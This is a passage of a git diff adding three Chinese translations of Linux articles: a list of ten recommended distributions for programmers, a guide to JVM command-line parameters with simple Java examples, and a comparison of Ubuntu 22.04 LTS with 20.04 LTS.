Distributions for Programmers in 2022 -Featured.md @@ -0,0 +1,233 @@ +[#]: subject: "Top 10 Linux Distributions for Programmers in 2022 [Featured]" +[#]: via: "https://www.debugpoint.com/2022/03/top-linux-distributions-programmers-2022/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "aREversez" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14547-1.html" + +最适合程序员的 10 款 Linux 发行版 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/05/143612dml7eizi0vh170v7.jpg) + +> 我们为程序员和开发人员总结了 2022 年最好用的 10 款 Linux 发行版,以便他们开展日常工作和个人项目。 + +由于工作和项目需要,程序员和开发人员会用到各种工具和应用,包括代码编辑器、编译器、插件以及数据库等等。若对现代开发人员的工作流程做一番整理,一般流程如下: + + - 创建代码仓库 + - 编程 + - 调试 + - 测试 + - 部署 + +上述工作流程需要用到各种各样的工具,一份标准的工具清单如下: + + - 代码编辑器 + - 简单的文本编辑器 + - 网页浏览器(包括 Web 开发人员使用的各种浏览器) + - 数据库引擎 + - 本地服务器 + - 各类编程语言的编译器 + - 调试器 + - 监视或分析工具(客户端或者网页端) + +与 Windows 相比,Linux 可以说是编程的最佳平台。之所以这样说,主要是因为 Linux 发行版与 Windows 不同,预装了许多功能强大的包和软件,自行安装也比较容易。在本文中,考虑到一些原因,我不会将 macOS 纳入对比范围之内。 + +综上,本文将整理出 2022 年最适合程序员的 10 款 Linux 发行版。 + +### 2022 最适合程序员的 10 款 Linux 发行版 + +#### 1、Fedora 工作站 + +![Fedora 35 Workstation][1] + +在这 10 款 Linux 发行版当中,最优秀的可能就要数 Fedora Linux 了。Fedora 默认的工作站版本精选了一些软件包,为用户带来真正的 GNOME 桌面体验。 + +Fedora Linux 默认安装了开箱即用的主流开发软件包,包括 PHP、OpenJDK、PostgreSQL、Django、Ruby on Rails 以及 Ansible 等等。 + +dnf 是 Fedora Linux 的包管理器,有了它,安装代码编辑器以及其他软件就相当容易了。此外,你还可以使用“软件”应用商店一键搜索、安装软件。 + +Fedora Linux 支持 Snap 和 Flatpak,使用起来会更加灵活方便。你还可以使用 RPM Fusion 仓库,获取大量自由或非自由的软件。因为许可证等一些原因,Fedora Linux 不希望在其主仓库内包括这些包,于是就有了 RPM Fusion。 + +点击下方链接,了解 Fedora Linux 最新版本。 + +> **[下载 Fedora][2]** + +#### 2、Ubuntu Linux + +![Ubuntu Desktop is a perfect Linux Distribution for Programmers.][3] + +在今天,无论是服务器还是个人电脑,使用最为广泛的发行版当属 Ubuntu Linux。Ubuntu 提供长期支持版本,每个长期支持版本官方提供五年的支持(外加五年的维护支持),并且每年为高级用户提供两个短期版本。 + +由于 Ubuntu 非常流行,各种包与软件的供应商都会提供适用于 Ubuntu 的版本(.deb)。此外,得益于广泛的知名度,Ubuntu 有着更为庞大的论坛群体和更为丰富的帮助文档。所以说,Ubuntu 是开发人员的最佳之选,尤其是在开发过程中陷入难题的时候,Ubuntu 更能发挥其作用。点击下方链接,了解更多。 + +> **[下载 Ubuntu][4]** + +#### 3、openSUSE + +openSUSE 是用在全球关键系统中最稳定、最专业的 Linux 发行版之一,是企业界(包括个人电脑、服务器以及瘦客户机)的首选解决方案。 + +相较于 Ubuntu 和 Fedora,openSUSE 具有一些独特的优势。首先,openSUSE 有两个版本:Leap 和 Tumbleweed。其中,openSUSE Leap 属于长期支持版,为用户带来稳定的升级体验。openSUSE Tumbleweed 属于滚动发行版,有着最新、最尖端的软件包。 + +如果你想获得最新的包和硬件支持,助力开发工作,你可以选择 openSUSE Tumbleweed;如果你想要的是稳定性,无需频繁维护即可长期运行,openSUSE Leap 会更适合你。 + +使用 openSUSE 进行开发工作,最大的优势之一就是 YaST 包管理工具。有了 YaST,许多操作可以轻松实现自动化。 + +此外,openSUSE 获取软件非常方便。它有专属的应用网站,供用户查找、安装包和软件。 + +如果你有一些 Linux 发行版的使用经验,推荐选择 openSUSE 进行开发工作。 + +> **[下载 openSUSE][5]** + +#### 4、Manjaro Linux + +Manjaro Linux 基于 Arch Linux,不过安装起来更容易一些。Manjaro Linux 自身还有许多独特功能,比如带有图形用户界面的安装程序、pamac 软件安装器以及高质量的软件仓库等等。Manjaro 有三个主要的桌面版本:GNOME、KDE Plasma 和 Xfce,足以满足各类用户的需要。 + +如果你想使用 Arch Linux 及其滚动发行的软件包来满足开发需求,但又不想在安装原版 Arch 上来回折腾,Manjaro 绝对是你的最佳选择。 + +> **[下载 Manjaro][6]** + +#### 5、Arch Linux + +尽管有 Manjaro 以及其他基于 Arch Linux 的发行版,而且安装操作非常简单,你可能还是想在自己的定制电脑上折腾一番,亲自动手 [安装原版 Arch][7]。 + +不过这种选择更适合程序员和开发人员,因为他们想得到更多的掌控权,或者想要定制一个 Linux 操作系统,用于开发项目或满足开发需求。这样一来,他们可能就会安装 Arch Linux,选择自己最喜欢的桌面,设置专用于开发工作的操作系统。 + +假设你对 Arch Linux 和普通的电脑都比较熟悉,那么 Arch Linux 就是你的最佳选择,因为在自己定制的 Linux 操作系统上,你可以完全控制每一个软件包。 + +> **[下载 Arch Linux][9]** + +#### 6、Pop OS + +Pop OS(即 Pop!_OS)由电脑制造商 System76 针对其系列硬件开发,是一款基于 Ubuntu 的自由开源的发行版。发行周期与 Ubuntu 保持同步,并为用户提供了额外的调整工具和软件包。 + +![Pop OS 21.10 Desktop][10] + +Pop OS 基于 Ubuntu,默认支持多种程序语言,所以非常适合程序员使用。Pop OS 的软件中心非常出色,设有开发软件专区,深受计算机科学家和程序员青睐。 + +此外,Pop OS 的 COSMIC 桌面(GNOME 桌面的定制版)支持窗口自动平铺,具有柔美的调色板、默认的深色模式以及丰富的设置选项,给程序员带来独特的使用体验。 + +如果你既想要基于 Ubuntu,又想要适合程序员的稳定 Linux 发行版,推荐选择 Pop OS。 + +> **[下载 POP OS][11]** + +#### 7、KDE Neon + +作为一个程序员,如果你喜欢 KDE Plasma 桌面,又想使用基于 Qt 的开发环境,那么你应该选择 KDE Neon。 + +KDE Neon 基于 Ubuntu 长期支持版本,兼具最新的 KDE Plasma 桌面和 KDE 框架。因此,使用 KDE Neon,你不仅可以享受 Ubuntu 长期支持版本的稳定性,还能体验基于 Qt 的最新版 KDE 软件。 + +运行速度快,程序开箱即用,用户界面友好,广泛的社区支持,如你所愿,完美如斯。 + +> **[下载 KDE Neon][12]** + +#### 8、Debian + +Debian GUN/Linux 就无需过多介绍了。Debian 的稳定分支是 Ubuntu 及其衍生系统的基础。换句话说,Debian 是最主要、最稳定的 Linux 发行版之一。优秀的稳定性和较长的支持时间使得 Debian 非常适合用做开发环境。 + +不过,Debian 的稳定分支比较保守,很少使用最新的软件包。毕竟全世界(几乎)都依赖 Debian 的稳定运行,所以维护者在检查、合并软件包时必须十分谨慎。 + +Debian 不仅能够长期稳定运行,而且维护成本较低,是高级用户和系统管理员绝佳的编程环境。 + +> **[下载 Debian Linux][13]** + +#### 9、Kali Linux + +Kali Linux 由 Offensive Security 开发,服务对象为道德黑客和查找网络漏洞的渗透测试人员,内置大量黑客软件和工具。 + +对技术娴熟的程序员和开发人员来说,Kali Linux 堪称最佳之选。如果你精通 Linux,具备解决错误和依赖问题的经验,推荐选择 Kali Linux。 + +> **[下载 Kali Linux][14]** + +#### 10、Fedora Labs + +最后,我们来看看 Fedora Linux 的各种 Fedora Labs 版本。 + +Fedora Labs 为程序员、科学家、学生等各类人群提供各类专业化的 Linux 发行版,内置各类专业软件、包和工具。很多人并没有意识到 Fedora Labs 的优势,只要经过适当的配置,这些版本都是非常优秀的发行版。 + +我们来总结一下这些 Fedora Labs: + +Fedora Scientific: + + * 采用 KDE Plasma 桌面,集成科学和数学领域的各种开源工具 + * 软件清单如下: + * 基于 C/C++ 的 GNU Scientific Library + * 兼容 MATLAB 的 MGNU Octave + * LaTeX + * Gnuplot:用于绘制 2D 与 3D 图像 + * Pandas:用于数据处理的 Python 库 + * IPython + * Java 和 R 程序语言相关包 + +> **[下载 Fedora Scientific][15]** + +Fedora COMP NEURO: + + * 采用 GNOME 桌面环境,预装神经科学领域的各种开源包和应用。 + +> **[下载 Comp Neuro][25]** + +Fedora Robotics Suite: + + * 集成各种开源机器人技术包和软件,适合初学者、资深计算机科学家和编程人员。 + +> **[下载 Fedora Robotics][16]** + +除了上述版本,还有 [Fedora Security Labs][17]、[Fedora Astronomy][18] 和 [Fedora Python Classroom][19] 可供选择。 + +在编程项目以及科学领域,Fedora Labs 堪称完美之选。 + +### 总结 + +那么,怎样才能从以上 10 款 最适合程序员的 Linux 发行版中选出自己最喜欢的呢? + +如果你想要一款开发系统,但又不想耗费太多精力,拿不定主意的话,推荐使用 Fedora 工作站或者 Ubuntu。 + +如果你的空闲时间比较多或者想要进一步掌控自己的系统,乐于尝试并且能够忍受偶尔发生的错误,推荐选择基于 Arch Linux 的系统。 + +对于刚接触 Linux 生态的新手程序员来说,Pop OS 也是一个不错的选择。如果有特殊需要的话,可以试试 Fedora Labs。 + +我希望本文能帮助程序员和开发人员选出最喜欢的 Linux 发行版。 + +祝你好运! + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/03/top-linux-distributions-programmers-2022/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[aREversez](https://github.com/aREversez) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://www.debugpoint.com/wp-content/uploads/2021/11/Fedora-35-Workstation-1024x528.jpg +[2]: https://getfedora.org/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/03/Ubuntu-Desktop-is-a-perfect-Linux-Distribution-for-Programmers-1024x579.jpg +[4]: https://ubuntu.com/download +[5]: https://www.opensuse.org/ +[6]: https://manjaro.org/download/ +[7]: https://www.debugpoint.com/2022/01/archinstall-guide/ +[8]: https://www.debugpoint.com/2022/03/top-nitrux-maui-applications/ +[9]: https://archlinux.org/download/ +[10]: https://www.debugpoint.com/wp-content/uploads/2021/12/Pop-OS-21.10-Desktop-1024x579.jpg +[11]: https://pop.system76.com/ +[12]: https://neon.kde.org/download +[13]: https://www.debian.org/distrib/ +[14]: https://www.kali.org/ +[15]: https://labs.fedoraproject.org/en/scientific/ +[16]: https://labs.fedoraproject.org/en/robotics/ +[17]: https://labs.fedoraproject.org/en/security +[18]: https://labs.fedoraproject.org/en/astronomy +[19]: https://labs.fedoraproject.org/en/python-classroom +[20]: https://t.me/debugpoint +[21]: https://twitter.com/DebugPoint +[22]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[23]: https://facebook.com/DebugPoint +[24]: https://www.debugpoint.com/2022/03/top-nitrux-maui-applications/ +[25]: https://labs.fedoraproject.org/en/comp-neuro/ diff --git a/published/202205/20220414 A guide to JVM parameters for Java developers.md b/published/202205/20220414 A guide to JVM parameters for Java developers.md new file mode 100644 index 0000000000..bc2cceb4e2 --- /dev/null +++ b/published/202205/20220414 A guide to JVM parameters for Java developers.md @@ -0,0 +1,224 @@ +[#]: subject: "A guide to JVM parameters for Java developers" +[#]: via: "https://opensource.com/article/22/4/jvm-parameters-java-developers" +[#]: author: "Jayashree Huttanagoudar https://opensource.com/users/jayashree-huttanagoudar" +[#]: collector: "lkxed" +[#]: translator: "Veryzzj" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14553-1.html" + +面向 Java 开发人员的 JVM 参数指南 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/06/134624iiubdjkqmxaaqhmx.jpg) + +> 通过理解和使用 JVM 以及 JVM 参数,开发人员和最终用户都可以诊断故障并且提高 Java 应用程序的性能。 + +当你在编写源代码时,你是在编写人类可以阅读的代码。在将代码编译成机器语言之前,计算机无法执行它。机器语言是一个通用术语,指的是特定机器所需的任意数量的语言。通常,如果你在 Linux 上编译代码,它只能 Linux 上运行;如果你在 Windows 上编译代码,它就只在 Windows 上运行。但是,Java 是不同的,它并不以真实的机器为目标,而是面向 Java 虚拟机Java Virtual Machine(JVM)。因此,它可以在任何机器上运行。 + +Java 源代码被编译成字节码bytecode,然后由安装在计算机上的 JVM 运行。JVM 是一个执行引擎,但我们通常不会直接与它交互。它在后台静默运行,替我们处理 Java 字节码。大多数人不需要考虑,甚至也不需要知道 JVM。但是,了解它的工作原理是对我们来说是非常有用的,因为这会有助于我们调试和优化 Java 代码。例如: + +* 在生产环境中,你发现已经部署的应用程序可能需要提升性能。 +* 如果你写的应用程序出错了,开发人员和最终用户都可以选择对问题进行调试。 +* 如果你想了解关于 JDK(即 Java 开发工具包Java Development Kit,用于开发/运行 Java 应用程序)的详细信息,你可以通过查询 JVM 来获取。 + +本文介绍了一些基础的 JVM 参数,希望在这些场景中可以提供帮助。 + +![JVM 参数][2] + +(图源:Jayashree Huttanagoudar,CC BY-SA 4.0) + +### JVM、JDK 和 JRE 有什么不同? + +Java 有许多 J 开头的缩略词,包括 JVM、JDK 和 JRE。 + +* Java 开发工具包Java Development Kit(JDK)可供需要在代码中使用开发库的程序员使用。 +* Java 运行时环境Java Runtime Environment(JRE)可供想运行 Java 应用程序的人使用。 +* Java 虚拟机Java Virtual Machine(JVM)是运行 Java 字节码的组件。 + +JDK 同时包含 JRE 和 JVM,但有些 Java 发行版提供了包含 JRE(包括 JVM)的替代下载。 + +![JDK][3] + +(图源:Jayashree Huttanagoudar,CC BY-SA 4.0) + +Java 是开源的,因此,许多不同的公司都会构建和发行他们自己的 JDK 发行版。你可以在系统上安装多个 JDK,这会对你参与或者运行不同的 Java 项目时很有帮助,因为其中一些项目可能使用旧版本的 JDK。 + +你可以使用 `alternatives` 命令,来查看 Linux 系统上的 JDK 列表: + +``` +$ alternatives --config java +There are 2 programs that provide java. +Selection Command +----------------------------------------------- +*+ 1 java-11-openjdk.x86_64 (/usr/lib/jvm/java-11-openjdk-11.0.13.0.8-2.fc35.x86_64/bin/java) +2 java-1.8.0-openjdk.x86_64 (/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.312.b07-2.fc35.x86_64/jre/bin/java) + +Enter to keep the current selection[+], or type selection number: +``` + +如果想要在可用的 JDK 之间进行切换,请再次执行该命令: + +``` +$ sudo alternatives --config java +``` + +或者可以使用 [SDKMan][4],它可以下载、更新和管理系统中的所有 JDK。 + +### 什么是 JVM 调优? + +JVM 调优指的是,通过调整 JVM 参数,来提高 Java 应用程序性能的过程,它还有助于诊断应用程序的故障。 + +通常情况下,在调试之前需要考虑以下几点: + +* **成本**:有时改进运行代码的硬件可以提高应用程序的性能。这可能看起来像是在“作弊”,但请考虑你愿意花多少时间调整 JVM 参数。有时应用程序需要更多的内存来执行所需的功能,而这点是任何软件技术都无法改变的。 +* **期望结果**:长期来看,稳定性比性能更重要。如果你的调优对稳定性产生了影响,那么谨慎地选择你的调优参数可能会更好。 +* **底层问题**:有时,问题可能是主机操作系统的底层问题。那么,在调整 JVM 之前,请确保 JVM 平台按预期工作。 +* **内存泄漏**:如果你在使用垃圾回收(GC)调优参数,那么,应用程序代码中很可能会存在需要修复的内存泄漏。 + +### 参数类型 + +JVM 参数可以分为以下三类:标准参数、非标准参数和高级选项。 + +#### 标准参数 + +所有的 JVM 实现都支持标准参数,在终端执行 `java` 命令来查看标准参数列表: + +``` +$ java +Usage: java [options] [args...] + (to execute a class) + or java [options] -jar [args...] + (to execute a jar file) + + where options include: + + -cp + -classpath + --class-path + A : separated list of directories, JAR archives, + and ZIP archives to search for class files. + --enable-preview + allow classes to depend on preview features of this release + +To specify an argument for a long option, you can use --= or +-- . +``` + +这些是所有 JVM 都会包含的标准参数,你可以像使用任何 [命令行选项][5] 一样安全地使用它们。例如,要验证配置的命令选项,创建 VM 并加载主类而不执行主类,请使用: + +``` +$ java --dry-run +``` + +#### 非标准参数 + +非标准选项以 `-X` 开头。这些是通用的,并且特定于 JVM 的特定实现。要列出这些参数,请输入: + +``` +$ java -X +-Xbatch disable background compilation +-Xbootclasspath/a: +append to end of bootstrap class path +-Xinternalversion +displays more detailed JVM version information than the +-version option +-Xloggc: log GC status to a file with time stamps +[...] +``` + +在这些参数可能会不经通知就发生变化。而且,并非所有 JVM 实现都支持这些参数。 + +微软构建的 JVM 可能与 RedHat 构建的 JVM 有不同的参数,诸如此类。 + +要获取详细的 JVM 版本信息,请使用如下命令: + +``` +$ java -Xinternalversion --version +OpenJDK 64-Bit Server VM (11.0.13+8) for linux-amd64 JRE (11.0.13+8), built on Nov 8 2021 00:00:00 by "mockbuild" with gcc 11.2.1 20210728 (Red Hat 11.2.1-1) +``` + +要获取这些属性设置,请使用: + +``` +$ java -XshowSettings:properties --version +``` + +#### 高级选项 + +这些参数不是随意使用的,而是用于调整 Hotspot VM 的特定区域。这些参数可能会发生变化,并且不能保证得到所有 JVM 实现的支持。 + +这些参数以 `-XX` 开头。如需列出参数列表,使用如下命令: + +``` +$ java -XX:+UnlockDiagnosticVMOptions -XX:+PrintFlagsFinal -version +``` + +例如,需要跟踪类的加载,那么使用下面的命令: + +``` +$ java -XX:+TraceClassLoading Hello +``` + +在 `Hello.java` 中: + +``` +public class Hello { + public static void main(String[] args) { + System.out.println("Inside Hello World!"); + } +} +``` + +另一个可能会面临的问题是 OOM(内存超出Out Of Memory)错误,它发生的时候可能没有太多的调试信息。为了解决这个问题,使用调试参数 `-XX:+HeapDumpOnOutOfMemoryError`,它可以创建一个带有调试信息的 `.hprof` 文件。 + +``` +// TestClass.java +import java.util.ArrayList; +import java.util.List; + +public class TestClass { + public static void main(String[] args) { + List list = new ArrayList(); + for (int i = 0; i < 1000; i++) { + list.add(new char[1000000]); + } + } +} +``` + +``` +$ Javac TestClass.java +$ java -XX:+HeapDumpOnOutOfMemoryError -Xms10m -Xmx1g TestClass +java.lang.OutOfMemoryError: java heap space +Dumping heap to java_pid444496.hprof ... +Heap dump file created [1018925828 bytes in 1.442 secs] +Exception in thread "main" java.lang.OutOfMemoryError: java heap space +at TestClass.main(TestClass.Java:8) +``` + +[有一些工具][6] 可以查看这个 `.hprof` 文件以了解问题所在。 + +### 总结 + +通过了解和使用 JVM 以及 JVM 参数,开发人员和终端用户都可以诊断故障并提高 Java 应用程序的性能。下次使用 Java 时,请花点时间看看有哪些参数可以用吧! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/4/jvm-parameters-java-developers + +作者:[Jayashree Huttanagoudar][a] +选题:[lkxed][b] +译者:[Veryzzj](https://github.com/Veryzzj) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jayashree-huttanagoudar +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/lenovo-thinkpad-laptop-window-focus.png +[2]: https://opensource.com/sites/default/files/2022-03/java-jvm-parameters.jpg +[3]: https://opensource.com/sites/default/files/2022-03/jdk.jpg +[4]: https://opensource.com/%5Bhttps%3A//opensource.com/article/22/3/manage-java-versions-sdkman%5D%28https%3A//opensource.com/article/22/3/manage-java-versions-sdkman%29 +[5]: https://opensource.com/%5Bhttps%3A//opensource.com/article/21/8/linux-terminal%5D%28https%3A//opensource.com/article/21/8/linux-terminal%29 +[6]: https://opensource.com/%5Bhttps%3A//docs.oracle.com/javase/7/docs/technotes/tools/share/jhat.html%5D%28https%3A//docs.oracle.com/javase/7/docs/technotes/tools/share/jhat.html%29 diff --git a/published/202205/20220419 Difference Between Ubuntu 22.04 and Ubuntu 20.04 LTS.md b/published/202205/20220419 Difference Between Ubuntu 22.04 and Ubuntu 20.04 LTS.md new file mode 100644 index 0000000000..6e1fff8fbd --- /dev/null +++ b/published/202205/20220419 Difference Between Ubuntu 22.04 and Ubuntu 20.04 LTS.md @@ -0,0 +1,171 @@ +[#]: subject: "Difference Between Ubuntu 22.04 and Ubuntu 20.04 LTS" +[#]: via: "https://www.debugpoint.com/2022/04/difference-ubuntu-22-04-20-04/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "PeterPan0106" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14572-1.html" + +Ubuntu 22.04 LTS 和 20.04 LTS 之间的十大变化 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/10/155537gcaaaupqayf5lnua.jpg) + +> 这里为准备从 20.04 LTS 迁移到 22.04 LTS 的用户列出了十个最重要的变化。 + +如果你是一位 [Ubuntu 20.04 LTS “Focal Fossa”][1] 用户,并准备迁移到 [Ubuntu 22.04 LTS “Jammy Jellyfish”][2],这篇文章将为你提供一些指引。在这两个 LTS 版本之间存在巨大的结构性变化,这在 LTS 分支中一般比较罕见。对比下来,不难发现本次更新一次性改变了大量的内容。 + +了解了这一点之后,本文将针对普通用户关切的方面,列出十个发生根本性变化的特性,并为用户提供一些指引。 + +### Ubuntu 22.04 LTS 与 Ubuntu 20.04 LTS – 特性变化 + +#### 1、徽标、颜色和 Plymouth 动画 + +第一个你会注意到的视觉变化便是基调颜色相比早期的两个“棕橙色”变得更“橙色”。同时 Canonical 对徽标进行了修改,这一点体现在开机时 Plymouth 动画中。新的徽标乍一看会显得有些怪异,但看久了会比较顺眼,至少我认为这是一个十分与众不同的徽标。 + +![New Ubuntu logo and Plymouth][3] + +#### 2、安装 + +Ubuntu 的默认安装程序并没有看到太多变化。我们其实更希望最新的 [基于 Flutter 的安装程序][4] 能够最终落地,但并没有。基于此,整体安装流程并未发生变化。我仅能够观察到对话框和按钮的强调色发生了变化。从功能角度而言,安装流程并未发生任何变化。 + +![Colour differences between two LTS Versions][5] + +#### 3、锁屏与登录界面、桌面的初始界面以及壁纸 + +锁屏与登录界面的渐变变得更为精细,密码框采用了无边框设计。初次登录时的布局和壁纸发生了很大的变化。桌面的 “家目录” 快捷方式被重命名为 “Home”,而非你的用户名,但回收站快捷方式则移到了左侧的任务栏中,并用分隔符与其他任务栏图标隔开了。 + +除此之外,顶部状态栏并未大改。系统托盘的菜单则进行了细微的修正,布局更为宽松。这些变化主要来自于 [GNOME 42][6] 的变化。 + +日历菜单并未发生变化。 + +![Ubuntu 20.04 Vs Ubuntu 22.04 – Login Screen][7] + +![Ubuntu 20.04 Vs Ubuntu 22.04 – Lock Screen][8] + +![Difference between Ubuntu 20.04 and Ubuntu 22.04 – default look][9] + +#### 4、桌面布局和 GNOME 版本升级 + +一个十分明显的变化就是 GNOME 版本由 GNOME 3.36 升级到了 GNOME 42。这是所有升级用户都会看到的显而易见的升级。Ubuntu 22.04 LTS 搭载的 GNOME 42 带来了水平的工作区视图以及水平的应用视图。所以,迁移之后手势从垂直转变为水平会有一些不习惯,但用一段时间就好了。 + +如果你的设备是触控屏的笔记本电脑或屏幕,经过一点学习之后,新的 GNOME 42 手势会给你十分顺滑的使用体验。以下是桌面、应用和工作区的对比图。 + +![Activities View Difference – Ubuntu 20.04 and 22.04][10] + +![Application View Difference – Ubuntu 20.04 and 22.04][11] + +#### 5、新的强调色与显示样式 + +有一个我非常喜欢的变化是最新的浅色和深色主题。早先 Ubuntu 有三个选择:浅色、深色和混合(标准)。这在 GNOME 42 中发生了改变,因为其本身就带有内置的浅色和深色模式。另一方面,它还引入了一个新的强调色选项(这并不是原本的 GNOME 42 带来的),允许用户在全局进行自定义。 + +当然,你还不能像 KDE Plasma 一样选择自定义的强调色。这些变化大多来自于最近的 libadwaita 和 GTK4 对 GNOME Shell 和原生应用程序的移植。 + +而当你在 Ubuntu 22.04 LTS 中打开深色模式,它会自动应用于所有支持的应用,这是一个与 Ubuntu 20.04 LTS 十分显著的区别。 + +![Accent Color and other changes][12] + +![How Accent colour change impact looks in Ubuntu 22.04 LTS][13] + +#### 6、文件管理器 + +在这个版本中,文件管理器的版本由 3.36.x 升级到了 42。区别是你能看到更为紧凑的设计、在文字和选项之间更为合理的布局,以及顶部控制栏的小工具风格,这一切都归功于 GTK4 和对底层错误的修复。文件中的地址栏有些不同,目录之间有一个分隔符,而汉堡菜单在最后。当然,这些变化都较为细微,你可能不会感受到它们之间有什么不同。 + +![Files Difference – Ubuntu 20.04 vs 22.04][14] + +#### 7、截图工作流的变化 + +另一个值得注意并且需要用户进行学习的是截图方式的改变。它完全改变了。早先你按下 `Print Screen` 键时,会自动截图并保存到图片文件夹中。现在有了 GNOME 42 内置的截图和录屏工具,工作流程被完全改变。 + +当你在截图时,你会发现有三个选项,你可以选择某个区域、全屏截图或者特定窗口。更重要的是,你还能选择是否让光标出现在截图中,此外还有录屏功能可选。选择完成之后点击“捕捉”按钮,这张图片将在被保存到图片文件夹,并同时复制到你的剪切板。 + +![New Screenshot tool in Ubuntu 22.04 LTS][16] + +总体而言,相较于之前多了一个步骤。 + +在所有应用程序窗口顶部的右键菜单上,增添了一个新的截图选项。 + +![Take Screenshot option in top bar menu][17] + +#### 8、 Firefox 浏览器成为了 Snap 版本 + +此外,Firefox 浏览器在本次更新中变成了 Snap 版本。而此前在 20.04 LTS 中,Firefox 浏览器以 deb 包形式呈现。这对于一般用户而言区别不大。 + +但是 Firefox 浏览器的 Snap 沙箱运行模式使得安装 GNOME 扩展工具时会产生问题,同时在同等硬件条件之下相较于之前的版本会显得更慢。 + +这个最为常用的应用的 Snap 迁移所带来的后续影响我们将拭目以待。 + +#### 9、不同的设置窗口 + +在设置中出现了一个新的面板:多任务。多任务面板允许你调整触发角以及激活窗口边缘。此外你可以指定工作区的数量,并设置自动删除空的工作区。而针对多显示器用户,现在可以选择仅在主屏幕上显示工作区或是在所有屏幕上显示工作区。 + +![New Multitasking Panel in Settings][18] + +#### 10、主题和应用更新 + +此外,软件的变化带来了不同的响应式外观并能够适应任何形式。软件商店同时带来了新的界面,包含了按照类别分类的软件视图以及“编辑之选”栏目。 + +应用详情页面变得更加易读,重要的信息,例如总下载大小、评分、安全标记以及应用截图都以更可辨别地方式呈现。 + +![GNOME Software – Home page difference][19] + +![GNOME Software – Details page difference][20] + +最后,这两个版本的内部差异出现在软件包、官方桌面环境主题和错误修正上。下面是对重要软件包版本变化的一个对比: + +**20.04** | **22.04** +---|--- +GCC 10.3 | GCC 11.2 +Hplip 3.20.3 | Hplip 3.21.12 +LibreOffice 6.4.7 | LibreOffice 7.3.2 +(未引入) | Pipewire 0.3.48 +Python3 3.8.2 | Python3 3.10.1 +Samba 4.13 | Samba 4.15 +Systemd 245.4 | Systemd 249.11 + +### 总结 + +总而言之,这是 Ubuntu LTS 分支历次更新中变化最大的一次,不论是从视觉上还是特性角度。 + +我希望这个指南能够令读者了解两个版本之间的主要区别,以及应当预期什么样的使用体验。 + +祝好~ + +------ + +via: https://www.debugpoint.com/2022/04/difference-ubuntu-22-04-20-04/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[PeterPan0106](https://github.com/PeterPan0106) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://www.debugpoint.com/2021/08/ubuntu-20-04-3-release/ +[2]: https://www.debugpoint.com/2022/01/ubuntu-22-04-lts/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/01/New-Ubuntu-logo-and-playmouth.jpg +[4]: https://github.com/canonical/ubuntu-desktop-installer +[5]: https://www.debugpoint.com/wp-content/uploads/2022/04/Colour-differences-between-two-LTS-Versions.jpg +[6]: https://www.debugpoint.com/2022/03/gnome-42-release/ +[7]: https://www.debugpoint.com/wp-content/uploads/2022/04/Ubuntu-20.04-Vs-Ubuntu-22.04-Lock-and-Login-Screen-1024x431.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2022/04/Ubuntu-20.04-Vs-Ubuntu-22.04-Lock-Screen-1024x408.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2022/04/Difference-between-Ubuntu-20.04-and-Ubuntu-22.04-default-look-1024x421.jpg +[10]: https://www.debugpoint.com/wp-content/uploads/2022/04/Activities-View-Difference-Ubuntu-20.04-and-22.04-1024x425.jpg +[11]: https://www.debugpoint.com/wp-content/uploads/2022/04/Application-View-Difference-Ubuntu-20.04-and-22.04-1024x420.jpg +[12]: https://www.debugpoint.com/wp-content/uploads/2022/04/Accent-Color-and-other-changes-1024x417.jpg +[13]: https://www.debugpoint.com/wp-content/uploads/2022/04/How-Accent-colour-change-impact-looks-in-Ubuntu-22.04-LTS.jpg +[14]: https://www.debugpoint.com/wp-content/uploads/2022/04/Files-Difference-Ubuntu-20.04-vs-22.04-1024x359.jpg +[15]: https://www.debugpoint.com/2022/04/ubuntu-budgie-22-04-lts/ +[16]: https://www.debugpoint.com/wp-content/uploads/2022/04/New-Screenshot-tool-in-Ubuntu-22.04-LTS.jpg +[17]: https://www.debugpoint.com/wp-content/uploads/2022/04/Take-Screenshot-option-in-top-bar-menu.jpg +[18]: https://www.debugpoint.com/wp-content/uploads/2022/04/New-Multitasking-Panel-in-Settings.jpg +[19]: https://www.debugpoint.com/wp-content/uploads/2022/04/GNOME-Software-Home-page-difference-1024x416.jpg +[20]: https://www.debugpoint.com/wp-content/uploads/2022/04/GNOME-Software-Details-page-difference-1024x417.jpg +[21]: https://t.me/debugpoint +[22]: https://twitter.com/DebugPoint +[23]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[24]: https://facebook.com/DebugPoint diff --git a/published/202205/20220422 Documentation Isn’t Just Another Aspect of Open Source Development.md b/published/202205/20220422 Documentation Isn’t Just Another Aspect of Open Source Development.md new file mode 100644 index 